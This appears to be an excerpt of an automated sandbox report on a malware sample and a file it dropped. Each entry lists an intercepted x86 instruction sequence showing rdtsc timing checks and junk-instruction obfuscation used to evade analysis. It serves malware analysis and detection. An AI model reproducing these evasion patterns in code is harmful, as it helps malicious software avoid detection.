Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1CD4 second address: 10B1CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1E48 second address: 10B1E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1D54DCB056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1E52 second address: 10B1E71 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1D548AABF6h 0x00000008 jmp 00007F1D548AAC05h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1E71 second address: 10B1E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1E77 second address: 10B1E8B instructions: 0x00000000 rdtsc 0x00000002 js 00007F1D548AABF6h 0x00000008 ja 00007F1D548AABF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5129 second address: 10B512D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B512D second address: 10B5133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5133 second address: 10B5138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5138 second address: 10B519D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1D548AABFDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1FF6h], ebx 0x00000013 mov edx, dword ptr [ebp+122D3556h] 0x00000019 push dword ptr [ebp+122D19F0h] 0x0000001f mov edx, dword ptr [ebp+122D23C4h] 0x00000025 mov edx, dword ptr [ebp+1254CF63h] 0x0000002b call 00007F1D548AABF9h 0x00000030 jnp 00007F1D548AAC00h 0x00000036 pushad 0x00000037 jbe 00007F1D548AABF6h 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 push eax 0x00000041 jc 00007F1D548AAC00h 0x00000047 jmp 00007F1D548AABFAh 0x0000004c mov eax, dword ptr [esp+04h] 0x00000050 push ebx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B519D second address: 10B51A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B651B second address: 10B6521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6521 second address: 10B6525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6525 second address: 10B652F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D548AABF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B652F second address: 10B6549 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1D54DCB064h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575034B second address: 5750382 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1D548AABFEh 0x0000000f push eax 0x00000010 jmp 00007F1D548AABFBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750382 second address: 575039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575039D second address: 57503CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1D548AABFDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57503CB second address: 57503D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57503D1 second address: 57503D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750419 second address: 575041D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575041D second address: 5750421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750421 second address: 5750427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750427 second address: 575049D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1D548AAC08h 0x00000008 mov edx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ah, 73h 0x00000011 jmp 00007F1D548AABFFh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov di, 9C46h 0x00000020 pushfd 0x00000021 jmp 00007F1D548AAC07h 0x00000026 or ecx, 4E341ACEh 0x0000002c jmp 00007F1D548AAC09h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC61F4 second address: FC6202 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1D54DCB056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6202 second address: FC6206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57504D8 second address: 57504EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57504EB second address: 5750526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F1D548AAC00h 0x0000000c sbb ax, F338h 0x00000011 jmp 00007F1D548AABFBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov bl, 03h 0x0000001e mov si, B367h 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750526 second address: 575052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575052A second address: 5750530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750530 second address: 5750563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1D54DCB05Ch 0x00000009 jmp 00007F1D54DCB065h 0x0000000e popfd 0x0000000f mov ebx, ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750563 second address: 5750567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750567 second address: 575056D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575056D second address: 5750590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1D548AABFCh 0x00000009 sub si, 7258h 0x0000000e jmp 00007F1D548AABFBh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57505BA second address: 57505BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57505BE second address: 57505C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57505C4 second address: 57505D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB05Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57505D3 second address: 575061D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F1D548AABF9h 0x00000010 jmp 00007F1D548AABFEh 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007F1D548AABFCh 0x0000001e pop esi 0x0000001f mov eax, edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575061D second address: 575065B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1D54DCB05Bh 0x00000015 xor esi, 0EC34DEEh 0x0000001b jmp 00007F1D54DCB069h 0x00000020 popfd 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575065B second address: 5750661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750661 second address: 57506B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F1D54DCB063h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1D54DCB05Fh 0x00000018 add al, FFFFFFAEh 0x0000001b jmp 00007F1D54DCB069h 0x00000020 popfd 0x00000021 mov di, cx 0x00000024 popad 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57506B9 second address: 57506BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57506BD second address: 57506CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57506CC second address: 57506D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57506D2 second address: 5750700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F1DC682E96Eh 0x0000000d push 771B27D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [77240140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 jmp 00007F1D54DCB067h 0x00000057 and dword ptr [ebp-04h], 00000000h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750700 second address: 5750706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750792 second address: 57507D0 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 mov ebx, 6FF9FB14h 0x0000000c pop edx 0x0000000d popad 0x0000000e dec edi 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 pushfd 0x00000014 jmp 00007F1D54DCB062h 0x00000019 sub cl, FFFFFFC8h 0x0000001c jmp 00007F1D54DCB05Bh 0x00000021 popfd 0x00000022 popad 0x00000023 lea ebx, dword ptr [edi+01h] 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 mov edx, esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57507D0 second address: 575084D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1D548AABFEh 0x00000008 sub si, 9528h 0x0000000d jmp 00007F1D548AABFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ebx 0x00000019 popad 0x0000001a mov al, byte ptr [edi+01h] 0x0000001d jmp 00007F1D548AAC00h 0x00000022 inc edi 0x00000023 jmp 00007F1D548AAC00h 0x00000028 test al, al 0x0000002a jmp 00007F1D548AAC00h 0x0000002f jne 00007F1DC6302E46h 0x00000035 jmp 00007F1D548AAC00h 0x0000003a mov ecx, edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575084D second address: 5750851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750851 second address: 5750857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750857 second address: 575085D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575085D second address: 5750861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750861 second address: 57508DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e jmp 00007F1D54DCB060h 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1D54DCB05Eh 0x00000024 add al, FFFFFFD8h 0x00000027 jmp 00007F1D54DCB05Bh 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F1D54DCB068h 0x00000033 sbb esi, 507C2C38h 0x00000039 jmp 00007F1D54DCB05Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ecx, edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57508DD second address: 57508E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57508E1 second address: 57508E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57508E5 second address: 57508EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57508EB second address: 575090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1D54DCB05Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575090A second address: 575090E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575090E second address: 5750914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750914 second address: 5750925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750925 second address: 5750977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1D54DCB063h 0x00000016 and cx, F96Eh 0x0000001b jmp 00007F1D54DCB069h 0x00000020 popfd 0x00000021 push ecx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750977 second address: 57509F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000011 jmp 00007F1D548AABFBh 0x00000016 mov eax, ebx 0x00000018 jmp 00007F1D548AAC06h 0x0000001d mov ecx, dword ptr [ebp-10h] 0x00000020 pushad 0x00000021 mov edx, eax 0x00000023 mov edx, esi 0x00000025 popad 0x00000026 mov dword ptr fs:[00000000h], ecx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F1D548AAC02h 0x00000034 xor cx, 51A8h 0x00000039 jmp 00007F1D548AABFBh 0x0000003e popfd 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 mov esi, 6AD807BBh 0x00000047 popad 0x00000048 popad 0x00000049 pop ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57509F1 second address: 57509F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57509F5 second address: 57509FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57509FB second address: 5750A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D54DCB061h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A10 second address: 5750A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D548AAC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d mov cx, 9B03h 0x00000011 push eax 0x00000012 push edx 0x00000013 mov edi, ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A31 second address: 5750A41 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 85F1h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A41 second address: 5750A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A45 second address: 5750A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A4B second address: 5750A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1D548AABFEh 0x00000009 xor ax, E3F8h 0x0000000e jmp 00007F1D548AABFBh 0x00000013 popfd 0x00000014 mov ah, F5h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1D548AABFEh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750A84 second address: 5750AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1D54DCB065h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750AAB second address: 57505BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1D548AAC07h 0x00000009 sub si, 6A7Eh 0x0000000e jmp 00007F1D548AAC09h 0x00000013 popfd 0x00000014 mov ebx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0008h 0x0000001c cmp dword ptr [ebp-2Ch], 10h 0x00000020 mov eax, dword ptr [ebp-40h] 0x00000023 jnc 00007F1D548AABF5h 0x00000025 push eax 0x00000026 lea edx, dword ptr [ebp-00000590h] 0x0000002c push edx 0x0000002d call esi 0x0000002f push 00000008h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750C31 second address: 5750C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1D54DCB05Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5750C51 second address: 5750C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1D548AABFEh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE8F31 second address: BE8F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE8F37 second address: BE8F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE90DA second address: BE90E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE90E0 second address: BE90E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE922E second address: BE9232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE9232 second address: BE924F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1D548AABFCh 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F1D548AABF6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE924F second address: BE926E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1D54DCB05Ah 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE93BC second address: BE93C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	RDTSC instruction interceptor: First address: BE93C0 second address: BE93D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1D54DCB05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
